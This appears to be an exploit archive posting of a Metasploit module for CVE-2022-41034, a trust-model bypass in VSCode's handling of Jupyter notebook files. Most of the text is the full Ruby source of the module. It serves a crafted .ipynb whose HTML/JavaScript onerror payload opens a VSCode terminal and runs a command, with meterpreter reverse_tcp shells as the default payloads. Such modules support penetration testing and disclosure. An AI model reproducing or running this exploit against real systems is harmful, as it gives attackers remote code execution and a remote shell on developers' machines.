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VSCode ipynb Remote Code Execution

VSCode ipynb Remote Code Execution
Posted Jun 11, 2024
Authored by h00die, Zemnmez | Site metasploit.com

VSCode when opening a Jupyter notebook (.ipynb) file bypasses the trust model. On versions v1.4.0 through v1.71.1, its possible for the Jupyter notebook to embed HTML and javascript, which can then open new terminal windows within VSCode. Each of these new windows can then execute arbitrary code at startup. During testing, the first open of the Jupyter notebook resulted in pop-ups displaying errors of unable to find the payload exe file. The second attempt at opening the Jupyter notebook would result in successful execution. Successfully tested against VSCode 1.70.2 on Windows 10.

tags | exploit, arbitrary, javascript
systems | windows
advisories | CVE-2022-41034
SHA-256 | dfacdfad1b8092f162656aa7bc4778fc74536b788b7075dfea96dafa5efb29f3

VSCode ipynb Remote Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(
update_info(
info,
'Name' => 'VSCode ipynb Remote Development RCE',
'Description' => %q{
VSCode when opening an Jupyter notebook (.ipynb) file bypasses the trust model.
On versions v1.4.0 - v1.71.1, its possible for the Jupyter notebook to embed
HTML and javascript, which can then open new terminal windows within VSCode.
Each of these new windows can then execute arbitrary code at startup.

During testing, the first open of the Jupyter notebook resulted in pop-ups
displaying errors of unable to find the payload exe file. The second attempt
at opening the Jupyter notebook would result in successful exeuction.

Successfully tested against VSCode 1.70.2 on Windows 10.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # metasploit module
'Zemnmez'
],
'References' => [
['URL', 'https://github.com/google/security-research/security/advisories/GHSA-pw56-c55x-cm9m'],
['CVE', '2022-41034'],
['URL', 'https://github.com/andyhsu024/CVE-2022-41034']
],
'DisclosureDate' => '2022-11-22',
'Privileged' => false,
'Arch' => ARCH_CMD,
'Stance' => Stance::Aggressive,
'Payload' => { 'BadChars' => '&"' },
'Targets' => [
[
'Windows',
{
'Platform' => 'win',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
}

}
],
[
'Linux File-Dropper',
{
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 3_600, # 1hr
'URIPATH' => 'project.ipynb'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
# on windows it will say the final payload can't be found
# however, it is, seems to be a timing issue, 2nd exploit attempt
# works perfectly
'Reliability' => [REPEATABLE_SESSION, FIRST_ATTEMPT_FAIL],
'SideEffects' => [SCREEN_EFFECTS]
}
)
)
register_options(
[
OptString.new('PAYLOAD_FILENAME', [ false, 'Name of the payload file - only required when exploiting on Linux.', 'shell.sh' ]),
OptString.new('WRITABLE_DIR', [ false, 'Name of the writable directory containing the payload file - required when exploiting on Linux .', '/tmp/' ]),
]
)
end

def check
CheckCode::Unsupported
end

def exploit
unless datastore['URIPATH'].end_with? '.ipynb'
fail_with(Failure::BadConfig, 'URIPATH must end in .ipynb for exploit to be successful')
end
print_status('Starting up web service...')
start_service
sleep(datastore['WFSDELAY'])
end

def on_request_uri(cli, request)
super unless request.uri.end_with? datastore['URIPATH']

if target['Platform'] == 'win'
config = { 'executable' => 'cmd.exe', 'args' => "/c #{payload.raw}" }
else
config = { 'executable' => "/#{datastore['WRITABLE_DIR']}/#{datastore['PAYLOAD_FILENAME']}" }
end

pload = JSON.dump({ 'config' => config })
pload = CGI.escape(pload).gsub('+', '%20') # XXX not sure if this is needed or not, but it works

ipynb = %|{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"<img src=a onerror=\\"let q = document.createElement('a');q.href='command:workbench.action.terminal.new?#{pload}';document.body.appendChild(q);q.click()\\"/>"
]
}
]}|

send_response(cli, ipynb, {
'Connection' => 'close',
'Pragma' => 'no-cache',
'Access-Control-Allow-Origin' => '*'
})

print_status("Sent #{datastore['URIPATH']} to #{cli.peerhost}")
end

end
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